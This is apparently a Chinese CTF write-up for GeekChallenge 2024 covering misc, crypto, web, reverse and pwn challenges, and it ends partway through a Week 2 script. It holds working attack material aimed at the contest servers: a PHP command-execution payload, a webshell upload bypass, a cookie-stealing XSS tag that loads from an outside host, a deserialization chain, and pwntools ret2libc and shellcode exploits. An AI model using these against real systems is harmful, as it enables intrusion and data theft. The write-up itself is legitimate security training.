GeekChallenge2024 第十五届极客大挑战

三叶草安全技术小组第十五届极客大挑战

极客大挑战是由三叶草安全技术小组自发组织举办的一场全国性网络安全赛事,目前,极客大挑战已成功举办十四届,吸引了超两万五千人次参加,累计提供超1000道赛题,广受全国各地参赛人员好评。作为国内最早一批举办的新生赛,极客大挑战一直以加强行业交流和提供优质学习平台为初心,为广大高校的信息安全学子提供了一个便捷的网络安全实战入门途径。

线上竞赛 10月18日20:00-11月18日20:00

Rank: 1


Week1

Misc

2024 geek challenge!签到

关注小组公众号三叶草小组Syclover,回复关键词 “2024 geek challenge!签到” 进行签到

公众号发关键词,flag:SYC{weLc0mE-tO-2_o_2_100-GeeK@cha11Enge!!}

ez_jpg

点击就送

base64+reverse+hex,改宽从528到628,图片里得到flag:SYC{Steg_4nd_Zip_1s_G00d!}

Truth of Word

Word文件真正的奥妙

第一处:

打开docx文件,修改文字颜色,flag1:Flag01=SYC{W0rd_H@5

第二处:

提取宏代码:olevba vbaProject.bin,得到:

1
2
3
4
5
Sub Flag02()
'
' Flag02 宏
'Flag = @_Ama1n9_
'

第三处:

以压缩包形式打开docx,word/media 下有 flag03.png,flag3:FLAG03=StrUCtu3e!}

flag:SYC{W0rd_H@5@_Ama1n9_StrUCtu3e!}

Welcome_jail

就是一个简单的pyjail啦

chr() 函数连接拼凑字符串:

1
2
3
4
5
6
7
def d(x):
t=[]
for k in x:
t.append(f'chr({ord(k)})')
return '+'.join(t)

print(d('cat /home/ctf/flag'))

payload:

print({}.__class__.__mro__[1].__subclasses__()[-4].__init__.__globals__[chr(112)+chr(111)+chr(112)+chr(101)+chr(110)](chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(104)+chr(111)+chr(109)+chr(101)+chr(47)+chr(99)+chr(116)+chr(102)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)).read())

又到了白色相簿的季节

zip末尾 VzNMQzBNNA==,base64解码得:W3LC0M4

syclover_WaterMark.png 盲水印提取得:Th1si4st8eK3ywhite.txt 再snow解密:

stegsnow -C -p Th1si4st8eK3y white.txt

得flag:SYC{Ma1by_y0u_w1ll_l1k3_sn0w}

I_wanna_go_to_SYC

BoBo人觉得iwanna很好玩,但是他打不过去能帮帮它吗? 题目附件下载链接https://pan.baidu.com/s/1JCqJ8TkXBYJjPUVJbHMlvg 密码:game

gm8decompiler转exe为gmk,再用gamemaker打开。

Rooms-sycroom 发现flag:SYC{NO_PRObLEM_yOU_DO_It_G1Me_LOVER}

Crypto

凯撒加密

凯撒你了解吗?flag前缀为SYC{xx}

YEI{CKRIUSK_ZU_2024_MKKQ_INGRRKTMK}

ROT20得到:SYC{WELCOME_TO_2024_GEEK_CHALLENGE}

RSA

基础RSA,flag前缀为SYC{xx}

1
2
3
4
5
6
7
8
9
10
11
12
n = 33108009203593648507706487693709965711774665216872550007309537128959455938833
p = 192173332221883349384646293941837353967
q = 172282016556631997385463935089230918399
c = 5366332878961364744687912786162467698377615956518615197391990327680664213847
e = 65537

f =(p-1)*(q-1)
d=inverse_mod(e,f)
m=pow(c,d,n)
print(bytes.fromhex(hex(m)[2:]))

# SYC{RSA_is_easy}

X0R

xor和^有什么区别呢,flag前缀为SYC{

1
2
3
4
5
6
7
8
9
10
from Crypto.Util.number import *

f1 = 4585958212176920650644941909171976689111990
f2 = 3062959364761961602614252587049328627114908
e2 = 10706859949950921239354880312196039515724907
e1 = f2^e2
enc = e1^f1
print(long_to_bytes(enc))

# b'mes)_c@3LHobXchblA'

根据flag头 SYC{,异或得到key是 ><0R,异或 ><0R 得到 SYC{a_part_0f_X0R}

dp

dp泄露,flag前缀为SYC{xx}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import gmpy2 as gp

c = 127916287434936224964530288403657504450134210781148845328357237956681373722556447001247137686758965891751380034827824922625307521221598031789165449134994998397717982461775225812413476283147124013667777578827293691666320739053915493782515447112364470583788127477537555786778672970196314874316507098162498135060
n = 157667866005866043809675592336288962106125998780791920007920833145068421861029354497045918471672956655205541928071253023208751202980457919399456984628429198438149779785543371372206661553180051432786094530268099696823142821724314197245158942206348670703497441629288741715352106143317909146546420870645633338871
e = 65537
dp = 2509050304161548479367108202753097217949816106531036020623500808413533337006939302155166063392071003278307018323129989037561756887882853296553118973548769

for x in range(1, e):
if(e*dp%x==1):
p=(e*dp-1)//x+1
if(n%p!=0):
continue
q=n//p
phin=(p-1)*(q-1)
d=gp.invert(e, phin)
m=gp.powmod(c, d, n)
if(len(hex(m)[2:])%2==1):
continue
print('--------------')
print(m)
print(hex(m)[2:])
print(bytes.fromhex(hex(m)[2:]))

# b'SYC{welcome_to_crypto}'

共模攻击

共模攻击,flag前缀为SYC{xx}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import gmpy2 as gp
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)

n = 19742875423645690846073637620470497648804310111201409901059297083827103813674034450200432098143959078292346910591785265323563248781526393718834491458926162514713269984791730816121181307827624489725923763353393879316510062227511469438742429290073999388690825732236465647396755899136346150862848924231619666069528077790933176798057396704758072769660663756346237040909579775389576227450505746914753205890194457812893098491264392293949768193694560954874603451253079446652049592976605414438411872223250039782381259212718733455588477129910357095186014496957765297934289263536712574572533650393220492870445376144568199077767
e1 = 911
e2 = 967
c1 = 18676091924461946809127036439355116782539894105245796626898495935702348484076501694838877829307466429933623102626122909782775514926293363853121828819237500456062111805212209491398720528499589486241208820804465599279152640624618194425740368495072591471531868392274503936869225072123214869399971636428177516761675388589238329574042518038702529606188240859751459632643230538522947412931990009143731829484941397093509641320264169403755707495153433568106934850283614529793695266717330769019091782929139589939928210818515744604847453929432990185347112319971445630830477574679898503825626294542336195240055995445217249602983
c2 = 4229417863231092939788858229435938841085459330992709019823280977891432565586698228613770964563920779991584732527715378842621171338649745186081520176123907689669636473919678398014317024138622949923292787095400632018991311254591786179660603414693984024161009444842277220189315861986306573182865656366278782315864366857374874763243428496061153290565891942968876789905670073321426112497113145141539289020571684634406829272902118484670099097148727072718299512735637087933649345419433312872607209633402427461708181971718804026293074540519907755129917132236240606834816534369171888633588190859475764799895410284484045429152
s = egcd(e1, e2)
s1 = s[1]
s2 = s[2]
if s1<0:
s1 = - s1
c1 = gp.invert(c1, n)
elif s2<0:
s2 = - s2
c2 = gp.invert(c2, n)

m = pow(c1,s1,n)*pow(c2,s2,n) % n
print(hex(m)[2:])
print(bytes.fromhex(hex(m)[2:]))

# SYC{U_can_really_attack}

不是套娃

一位旅行者兜兜转转,终能抵达终点——可能要多转几个弯,走错几块地 题目附件 https://pan.baidu.com/s/1YQuXvK7wNrhLoCUcmWEMZw 提取码:game

第一层:

-..-/../-./..--.-/.---/../..--.-/--../../..--.-/.--/.-/..--.-/-.--/../..--.-/--../../..--.-/--/---/..--.-/-.--/../..--.-/-../..-/.-/..--.-/--../..

摩斯密码:xin_ji_zi_wa_yi_zi_mo_yi_dua_zi

第二层:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
key <- commander

KEY = uizrlbzii

+ + + + + + + + + +
uizrlbzii Rsm o o o Bcynirv
+ + + + + + + + + +
uizrlbzii
+ + + + + + + + + +
uizrlbzii Rsm
+ + + + + + + + + +
uizrlbzii Rsm
+ + + + + + + + + +
uizrlbzii
+ + + + + + + + + +
uizrlbzii Rsm o o Yoxx-nhw o Bcynirv
+ + + + + + + + + +

可知 uizrlbzii 对应的是 commander,维吉尼亚密码解出key是 sunflower

第三层:

a1fdbce928af7aae,cmd5查询得到 HaiKav

第四层:

NEFICPIC&CRTCTNEYO,栅栏密码key=3,得到 NICECTF&NICECRYPTO

第五层:

tip: 100 -> 13 -> 64 -> 65536 ,按照提示,base100+rot13+base64+base65536,得到 原神,启动!

得到flag:SYC{H0W_P3RF3C+_YU0_AR3!}

Web

100%的⚪

⚪神启动

circle.html查看源代码中js代码:

1
2
3
4
if (score == 100) {
FfFlLLlllaaaaaggggg= atob("U1lDezVVY0hfQF9XbzBkM3JmVWxfQ2lSYzFlfQ==");
alert(FfFlLLlllaaaaaggggg);
}

Base64解码:SYC{5UcH_@_Wo0d3rfUl_CiRc1e}

rce_me

Just rce me

php常见绕过,payload:

1
2
3
POST /?year=1e10&purpose=rce%0a&GLOBALS[code]=system("cat%20/flag");

start=start%20now&_[2024.geekchallenge.ctf=0e1290633704

baby_upload

Parar说他的黑名单无懈可击,GSBP师傅只花了十分钟就拿下了他的权限,你看看怎么绕过呢

文件上传,抓包,尝试发现只判断了第一次出现的 .php,双写绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
------WebKitFormBoundaryIGjO2RImoANGbOwZ
Content-Disposition: form-data; name="upload_file"; filename="1.php"
Content-Type: image/jpeg

<?php system($_GET[x]);
------WebKitFormBoundaryIGjO2RImoANGbOwZ
Content-Disposition: form-data; name="name"

x.php.php
------WebKitFormBoundaryIGjO2RImoANGbOwZ
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryIGjO2RImoANGbOwZ--

再访问 uploads/x.php.php?x=cat /flag 得到flag。

Problem_On_My_Web

starven师傅想要向他的女神表白,所以他专门写了个表白墙用来写他的甜言蜜语,你能看看他的表白墙有什么问题吗

XSS攻击。

/form 页面提交script攻击代码:<sCRiPt sRC=//xs.pe/maD></sCrIpT>,再到 /manager 页面POST url=http://127.0.0.1,让bot访问主页,触发攻击,在XSS平台拿到cookie,内含flag:

flag=SYC{xxx}

ezpop

听说pop链很难?来做做我的找找自信吧(如果遇到500报错,请耐心等待几秒钟刷新即可,flag在/flag)

反序列化,绕关键字,用 .htaccess 绕死亡exit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from phpserialize import *
from urllib.parse import quote

class SYC:
public_starven='php://filter/write=string.strip_tags/?>php_value auto_prepend_file /flag\n#/resource=.htaccess'

class Geek:
public_GSBP=SYC()

class lover:
public_meimeng=Geek()

class Geek:
public_GSBP=lover()

class lover:
public_J1rry='data://text/plain,Welcome GeekChallenge 2024'
public_meimeng=Geek()

print(quote(serialize(lover())).replace('s%3A7%3A%22meimeng','S%3A7%3A%22\\6deimeng'))

# O%3A5%3A%22lover%22%3A2%3A%7Bs%3A5%3A%22J1rry%22%3Bs%3A44%3A%22data%3A//text/plain%2CWelcome%20GeekChallenge%202024%22%3BS%3A7%3A%22\6deimeng%22%3BO%3A4%3A%22Geek%22%3A1%3A%7Bs%3A4%3A%22GSBP%22%3BO%3A5%3A%22lover%22%3A1%3A%7BS%3A7%3A%22\6deimeng%22%3BO%3A4%3A%22Geek%22%3A1%3A%7Bs%3A4%3A%22GSBP%22%3BO%3A3%3A%22SYC%22%3A1%3A%7Bs%3A7%3A%22starven%22%3Bs%3A93%3A%22php%3A//filter/write%3Dstring.strip_tags/%3F%3Ephp_value%20auto_prepend_file%20/flag%0A%23/resource%3D.htaccess%22%3B%7D%7D%7D%7D%7D

得到结果传入data参数,再刷新页面得到flag。

Reverse

hello_re

Welcome to Reverse’s world! 听说010可以看到文件的本质捏

SYC0UPX0,upx脱壳,代码逻辑是一个简单的异或操作。

1
2
3
4
5
6
c=[0,1,2,52,3,96,47,28,107,15,9,24,45,62,60,2,17,123,39,58,41,48,96,26,8,52,63,100,33,106,122,48]
k=list(b'SYCLOVER\x00')
m=[c[i]^k[i%8]^i for i in range(len(c))]
print(bytes(m))

# b'SYC{H3lI0_@_new_R3vers3_Ctf3r!!}'

先来一道简单题

欢迎来到极客大挑战,先来一道签到题热热身吧。

gcc将汇编s文件生成目标o文件再到可执行文件:

gcc -c sssssssss.s -o s.o

gcc s.o -o s

按逻辑逆:

1
2
3
4
5
6
7
8
c=list(b'TTDv^jrZu`Gg6tXfi+pZojpZSjXmbqbmt.&x')
for i in range(0,len(c),2):
c[i]^=7
c[i+1]+=5

print(bytes(c))

# SYC{You_re@l1y_kn0w_how_To_revers3!}

也许你也听jay

周杰伦的歌像一把钥匙打开了回忆之门,旋律流淌中,仿佛呼吸着曾经放肆招摇的风。你能找到我的钥匙吗。(流畅访问网址可能需要代理,网站有音乐,请合理控制音量)

替换长名字变量,逆:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
bb=[0x96, 0xa1, 0xa0, 0x9b, 0x9b, 0x5f, 0x49, 0x46, 0x85, 0x82, 0x53, 0x95, 0x7d, 0x36, 0x8d, 0x74, 0x82, 0x88, 0x46, 0x7a, 0x81, 0x65, 0x80, 0x6c, 0x78, 0x2f, 0x6b, 0x6a, 0x27, 0x50, 0x61, 0x38, 0x3f, 0x37, 0x33, 0xf1, 0x27, 0x32, 0x34, 0x1f, 0x39, 0x23, 0xde, 0x1c, 0x17, 0xd4]
cc=[0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F, 0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F, 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F, 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8D]
dd=[0x5D, 0x5C, 0x5B, 0x5A, 0x59, 0x58, 0x57, 0x56, 0x55, 0x54, 0x53, 0x52, 0x51, 0x50, 0x4F, 0x4E, 0x4D, 0x4C, 0x4B, 0x4A, 0x49, 0x48, 0x47, 0x46, 0x45, 0x44, 0x43, 0x42, 0x41, 0x40, 0x3F, 0x3E, 0x3D, 0x3C, 0x3B, 0x3A, 0x39, 0x38, 0x37, 0x36, 0x35, 0x34, 0x33, 0x32, 0x31, 0x30, 0x2F, 0x2E, 0x2D, 0x2C, 0x2B, 0x2A, 0x29, 0x28, 0x27, 0x26, 0x25, 0x24, 0x23, 0x22, 0x21, 0x20, 0x1F, 0x1E, 0x1D, 0x1C, 0x1B, 0x1A, 0x19, 0x18, 0x17, 0x16, 0x15, 0x14, 0x13, 0x12, 0x11, 0x10, 0x0F, 0x0E, 0x0D, 0x0C, 0x0B, 0x0A, 0x09, 0x08, 0x07, 0x06, 0x05, 0x04, 0x03, 0x02, 0x01]
ee=[0x65, 0x64, 0x63, 0x62, 0x61, 0x60, 0x5F, 0x5E, 0x5D, 0x5C, 0x5B, 0x5A, 0x59, 0x58, 0x57, 0x56, 0x55, 0x54, 0x53, 0x52, 0x51, 0x50, 0x4F, 0x4E, 0x4D, 0x4C, 0x4B, 0x4A, 0x49, 0x48, 0x47, 0x46, 0x45, 0x44, 0x43, 0x42, 0x41, 0x40, 0x3F, 0x3E, 0x3D, 0x3C, 0x3B, 0x3A, 0x39, 0x38, 0x37, 0x36, 0x35, 0x34, 0x33, 0x00, 0x31, 0x30, 0x2F]

aa=bb[:]
for i in range(len(aa)):
aa[i]-=dd[i]

for i in range(len(aa)-1,-1,-1):
cc[i]^=ee[51]
aa[i]+=cc[47+i]

for i in range(len(aa)):
aa[i]^=cc[i]
aa[i]&=0xff

for i in range(len(ee)):
ee[i]^=dd[i+1]
ee[i]-=cc[i]

print(bytes(aa))

# b'https://am1re-sudo.github.io/Coisni.github.io/'

访问链接,文字:

1
2
3
4
5
本来讨厌下雨的天空, 直到听有人说爱我 ” 你听不到密文,没关系,我会帮你写在下面。 Q7u+cyiOQtKHRMqZNzPpApgmTL4j+TE=

“你在橱窗前凝视碑文的字眼,我却在旁静静欣赏你那张我深爱的脸” 我正愁找不到密钥,突然想起爱在西元前的英文是lovebeforeBC

“我的思念,厚厚一叠”, 哼着七里香,我会拾起密钥,尝试用RC4来为解密画上句点,余晖刚好, 就像是某个晚霞清风的傍晚,校园广播刚好放起了七里香,转过楼梯拐角,又恰好对上她眉眼弯弯,笑容灿烂。

有密文和key,RC4解密得到flag:SYC{ILIKELISTENJAYSONG}

让我康康你的调试

让我康康你的ida能调试吗

RC4+xor。

c=945b7d04c9027aa6390798bc0d68f97e08bdbf9816f804715f1586b69884db61

key=syclover

cyberchef解得flag:SYC{we1come_t0_Geek's_3asy_rc4!}

我勒个z3啊

什么!竟然是数学吗,快去请z3老祖

z3求解器求解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from z3 import *

t='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ?_'
c=[42, 14, 14, 20, 63, 63, 63, 38, 17, 10,
21, 21, 14, 23, 16, 14]
key=''.join([t[k] for k in c])
print(key)
key=list(key.encode())

s1=Solver()
f=[Int(f'f{i}') for i in range(32)]
c=[0x19B,0x113,0x189,0x1C9,0x250,0x536,0x4DE,0x1BC,0x41B,0x724,0x6D0,0x4A1,0x645,0x475,0x4CA,0x68C,0x3E5,0x1C7,0x33D,0x5B7,0x28D,0x244,0x30E,0x291,0x271,0x301,0x45F,0x46F,0x517,0x41E,0x426,0x4B5]

for i in range(0,32,4):
s1.add(f[i]+8*f[i+1]+6*f[i+2]+f[i+3]==c[i])
s1.add(f[i+1]+8*f[i+2]+6*f[i+3]+f[i]==c[i+1])
s1.add(f[i+2]+8*f[i+3]+6*f[i]+f[i+1]==c[i+2])
s1.add(f[i+3]+8*f[i]+6*f[i+1]+f[i+2]==c[i+3])

#print(s1.check())
m=s1.model()
cc=[]
for i in range(32):
cc.append(m[f[i]].as_long())
#print(cc)


s2=Solver()
f=[BitVec(f'f{i}',8) for i in range(32)]
ff=f[:]

for i in range(8):
j=0
while j<i:
x=ff[4*i]
for k in range(3):
ff[4*i+k]=ff[4*i+k+1]
ff[4*i+3]=x
j+=1

for i in range(32):
ff[i]^=ff[(31+i)%32]
ff[i]^=key[15-i]^i


for i in range(32):
s2.add(ff[i]==cc[i])

#print(s2.check())
m=s2.model()
flag=[]
for i in range(32):
flag.append(m[f[i]].as_long())
#print(flag)
print(bytes(flag))

# b'Geek___Challenge'
# b'SYC{Wow!!_Y0u_4r3_9o0d_At_r3$!!}'

ezzzz

喝喝茶,做做题 题目附件下载链接:https://pan.baidu.com/s/1MXYmUTyrwRtfoBntEPiBPg 密码:game

apk文件分析,关键逻辑:

1
2
3
4
5
6
7
public void check() {
if (Enc.encrypt(this.et.getText().toString()).equals(getResources().getString(R.string.target))) {
Toast.makeText(this, "Wow!You are right!!!", 0).show();
} else {
Toast.makeText(this, "Emmmmm……wrong????", 0).show();
}
}

加密逻辑在 Enc.encrypt(),发现是带符号的xtea加密,提取密文:

target=f1f186b25a96c782e6c63a0b70b61b5ced6bf84889700d6b09381b5ccb2f24fab1c79e796d822d9cdcc55f760f780e750d65c4afb89084a9e978c3827a8dd81091f28df3a84dbacab4d75f75f19af8e5b90f80fcfc10a5c3d20679fb2bc734c8ccb31c921ac52ad3e7f922b72e24d923fb4ce9f53548a9e571ebc25adf38862e10059186327509463dd4d54c905abc36c26d5312d2cd42c0772d99e50cd4c4665c3178d63a7ffe71ada251c070568d5a5798c2921ec0f7fc3ae9d8418460762930ca6a2dccef51d2a1a8085491b0f82d686ca34774c52d0f0f26449fc28d362c86f3311b8adc4fb1a4497e34e0f0915d

用c写解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include<stdio.h>

int map[] = {4059137714, 1519830914, 3871750667, 1890982748, 3983276104, 2305822059, 154671964, 3408864506, 2982649465, 1837247900, 3703922550, 259526261, 224773295, 3096478889, 3917005698, 2056116240, 2448592371, 2823666378, 3034013557, 4053465317, 3104801020, 4228949443, 3523639803, 734475464, 3434290322, 449129171, 3891864247, 774166819, 4216121845, 893954533, 1911276122, 3745023534, 268800390, 846530886, 1037358412, 2421865526, 3261944594, 3536667328, 1999477221, 215270502, 1546746070, 981466737, 2913096128, 1884720474, 1469629074, 515962876, 988403777, 2220914217, 818571821, 3438236114, 2712143956, 2444294189, 1751950151, 1959079183, 254166175, 3264034348, 2264084763, 2329694129, 2756279860, 3773862237};
int key[] = {71, 69, 69, 75};
void decode(int* v,int* k) {
int sum = 0;
for(int i=0; i<32; ++i)
sum += 0x9E3779B9;
for(int j=31; j>=0; --j) {
v[1] -= (((v[0] << 4) ^ (v[0] >> 5)) + v[0]) ^ (sum + key[(sum>>11) & 3]) ^ (sum+j);
sum -= 0x9E3779B9;
v[0] -= (((v[1] << 4) ^ (v[1] >> 5)) + v[1]) ^ (sum + key[sum & 3]) ^ (sum+j);
}
}
int main() {
for(int i=0; i<60; i+=2)
decode(&map[i],key);
for(int i=0; i<60; ++i)
printf("%c",map[i]);
return 0;
}

// SYC{g0od_j0b_wweLCoMeToooSSSyC_zz_1_et3start_yoUr_j0urney!!}

Pwn

你会栈溢出吗

超级简单的题目

ret2text。

1
2
3
4
5
6
7
8
9
10
from pwn import *

r=remote('nc1.ctfplus.cn',34467)

r.recvline()
key=0x40073D
pl=b'a'*(0xc+8)+p64(key)
r.sendline(pl)

r.interactive()

简单的签到

作为大学生,一定要有快速口算的能力!

pwntools运用。

1
2
3
4
5
6
7
8
9
10
from pwn import *

r=remote('nc1.ctfplus.cn',20040)

r.recvuntil(b'challenge.\n')
r.sendline()
ans=eval(r.recvuntil(b'= ')[:-2])
r.sendline(str(ans).encode())

r.interactive()

ez_shellcode

不能更加简单的pwn_shellcode题,什么你不知道shellcode?快去学吧

ret2shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context.arch='amd64'

r=remote('nc1.ctfplus.cn',43003)

r.recvuntil(b'shellcode?\n')
pl=asm(shellcraft.sh())
r.send(pl)

gift=0x401256
r.recvline()
pl=b'a'*(0x18+8)+p64(gift)
r.sendline(pl)

r.interactive()

00000

你说让我输密码?有没有什么简单的办法呢?

利用函数特性逐位爆破。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

def burp():
r=remote('nc1.ctfplus.cn',15085)
r.sendlineafter(b'Enter the password: ',b'\x00')
x=r.recvline()
print(x)
if b'wrong' in x:
r.close()
burp()
else:
r.interactive()

burp()

买黑吗喽了吗

黑吗喽真好玩!

balance负溢出,转无符号>0x100,进入修改str的2字节,改为 %p,可以泄露出balance地址。

求pie基址,再ret2libc。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
context.arch='amd64'

r=remote('nc1.ctfplus.cn',33352)
elf=ELF('./买黑马喽了么/syscall')
libc=ELF('./买黑马喽了么/libc.so.6')

for i in range(8):
r.sendlineafter(b'choice:\n',b'1')
r.sendlineafter(b'choice:\n',b'1')
r.sendlineafter(b'choice:\n',b'1')
r.sendlineafter(b'choice:\n',b'2')

r.sendlineafter(b'choice:\n',b'2')
r.send(b'%p')
r.recvuntil(b'0x')
balance_addr=eval(r.recvuntil(b' '))
pie_base=balance_addr-0x4090
success(f'{pie_base:x}')

r.sendlineafter(b'choice:\n',b'3')
pop_rdi=pie_base+0x11f1
ret=pie_base+0x101a
puts_plt=pie_base+elf.plt.puts
puts_got=pie_base+elf.got.puts
read_back=pie_base+0x14c0
pl=flat([b'a'*(0x50+8),pop_rdi,puts_got,puts_plt,read_back])
r.send(pl)
puts_addr=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success(f'{puts_addr:x}')

libc_base=puts_addr-libc.sym.puts
success(f'{libc_base:x}')
system_addr=libc_base+libc.sym.system
binsh_addr=libc_base+next(libc.search(b'/bin/sh\x00'))

r.recvuntil(b'feedback:\n')
pl=flat([b'a'*(0x50+8),ret,pop_rdi,binsh_addr,system_addr,read_back])
print(len(pl)%16)
r.send(pl)

r.interactive()

over_flow??

stack overflow??

1
2
3
4
5
6
7
8
9
from pwn import *
context.arch='amd64'

r=remote('nc1.ctfplus.cn',16674)

r.sendlineafter(b'>>',b'2')
r.sendafter(b'>>',b'/bin/sh\x00\x3b')

r.interactive()

Week2

Misc

ez_pcap_1

黑客通过外网getshell进入内网,在域渗透横向文件传输时传送了一个危险文件,你能找到这个危险文件吗?

010editor16进制查看下搜索 SYC,flag:SYC{smb_pcapng_1s_g00d!}

cimbar

What is cimbar

参考:https://www.bilibili.com/read/cv38452107/

提取01字符串:

1
2
3
4
5
6
7
01010011010110010100001101111011
01000001011011100011000001110100
01101000001100110111001001011111
01000001011011010100000001111010
00110001011011100011100101011111
01010001010100100101111101000011
01101111001101000110010101111101

二进制转字符得到flag:SYC{An0th3r_Am@z1n9_QR_Co4e}

舔狗的觉醒

听说爱自己的人会有好运哦

爆破解压密码:88888888

字节移位输出新zip:

1
2
3
4
5
6
7
8
f=bytes.fromhex(open('download.txt').read())

g=b''
for k in f:
x=((k>>4)|(k<<4))&0xff
g+=bytes([x])

open('out.zip','wb').write(g)

得到一个加密的pdf文件 flag.pdf,使用PasswareKitForensic去掉pdf密码,打开删除图片,得到flag:SYC{YOu_arE_yOuR_Own_hero}

乌龟

starven师傅养了一直会唱歌的乌龟,但是他走丢了,你能帮starven师傅找到他吗(音频文件不只一种用法)

wav文件,sstv音转图:

sstv -d sunset.wav -o result.png

得到的图片里面有 PASS:Be4uti7ulSun5e7

wav文件再用deepsound,密码 Be4uti7ulSun5e7,提取出 secret.txt

1
to draw_s  pu setxy -400 200 pd repeat 18 [fd 5 lt 10 wait 2]  repeat 8 [fd 5 lt 10 wait 2]  repeat 21 [fd 5 rt 10 wait 2]  pu setxy -350 200 pd fd 50 wait 5  pu setxy -350 200 pd rt 100 fd 50 wait 5  pu setxy -350 200 pd rt 130 fd 75 wait 5  pu setxy -220 200 pd rt 130 repeat 27 [fd 8 lt 10 wait 2]  pu setxy -430 70 pd lt 130 fd 100 wait 5  pu setxy -480 70 pd lt 90 fd 100 wait 5  pu setxy -420 70 pd fd 100 lt 90 fd 50 lt 90 fd 100 wait 5  pu setxy -350 70 pd rt 90 fd 70 rt 90 fd 50 rt 90 fd 70 wait 5  pu setxy -280 20 pd lt 90 fd 50 rt 90 fd 70 wait 5  pu setxy -250 70 pd rt 180 fd 100 wait 5  pu setxy -200 70 pd rt 90 fd 100 wait 5  pu setxy -130 70 pd lt 130 fd 30 rt 130 fd 110 rt 90 fd 30 wait 5  pu setxy -130 -20 pd lt 180 fd 40 wait 5  pu setxy -70 70 pd fd 70 wait 5  pu setxy -70 70 pd rt 90 fd 50 lt 90 fd 70 wait 5  pu setxy -70 20 pd rt 90 fd 50 lt 90 fd 70 wait 5  pu setxy 20 -30 pd fd 70 wait 5  pu setxy 120 70 pd repeat 18 [fd 5 rt 10 wait 2]  pu setxy 120 70 pd lt 90 fd 100 wait 5  pu setxy 180 70 pd fd 50 lt 90 fd 50 wait 5  pu setxy 230 70 pd rt 90 fd 100 wait 5  pu setxy 260 70 pd lt 90 fd 50 wait 5  pu setxy 285 70 pd rt 90 fd 100 wait 5  pu setxy 260 -30 pd lt 90 fd 50 wait 5  pu setxy 340 70 pd rt 90 fd 100 wait 5  pu setxy 340 70 pd lt 30 fd 115 wait 5  pu setxy 398 -30 pd lt 150 fd 100 wait 5  pu setxy 420 70 pd rt 90 fd 100 wait 5  pu setxy 470 70 pd rt 90 fd 100 wait 5  pu setxy -520 -70 pd lt 90 fd 60 wait 5  pu setxy -490 -70 pd rt 90 fd 100 wait 5  pu setxy -520 -170 pd lt 90 fd 60 wait 5  pu setxy -420 -70 pd rt 90 fd 100 wait 5  pu setxy -420 -70 pd lt 30 fd 115 wait 5  pu setxy -362 -170 pd lt 150 fd 100 wait 5  pu setxy -270 -70 pd lt 90 repeat 27 [fd 8 lt 10 wait 2] lt 180 fd 40 wait 5  pu setxy -230 -120 pd rt 90 fd 30 wait 5 end clearscreen draw_s

查知为logo编程语言,找个在线网站绘制,得到flag:SYC{TU3T1E_P4INTING}

ez_climbstairs

动态规划算法入门题目你知道如何爬楼梯吗?爬对100次就给你flag

爬楼梯经典问题,dp解决,对照测试样例数据,发现是最多可爬3阶。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

def climb_stairs_limited_steps(n, k):
# 初始化dp数组,dp[i]表示到达第i阶的方法总数
dp = [0] * (n + 1)
dp[0] = 1 # 到达第0阶有1种方法(不动)

# 填充dp数组
for i in range(1, n + 1):
# 计算dp[i]为前面最多k阶的方法数之和
dp[i] = sum(dp[max(0, i - k):i])

return dp[n]

r = remote('nc1.ctfplus.cn',15734)

for i in range(100):
print(i)
r.recvuntil('爬上 '.encode())
n = int(r.recvuntil(b' '))
print(n)
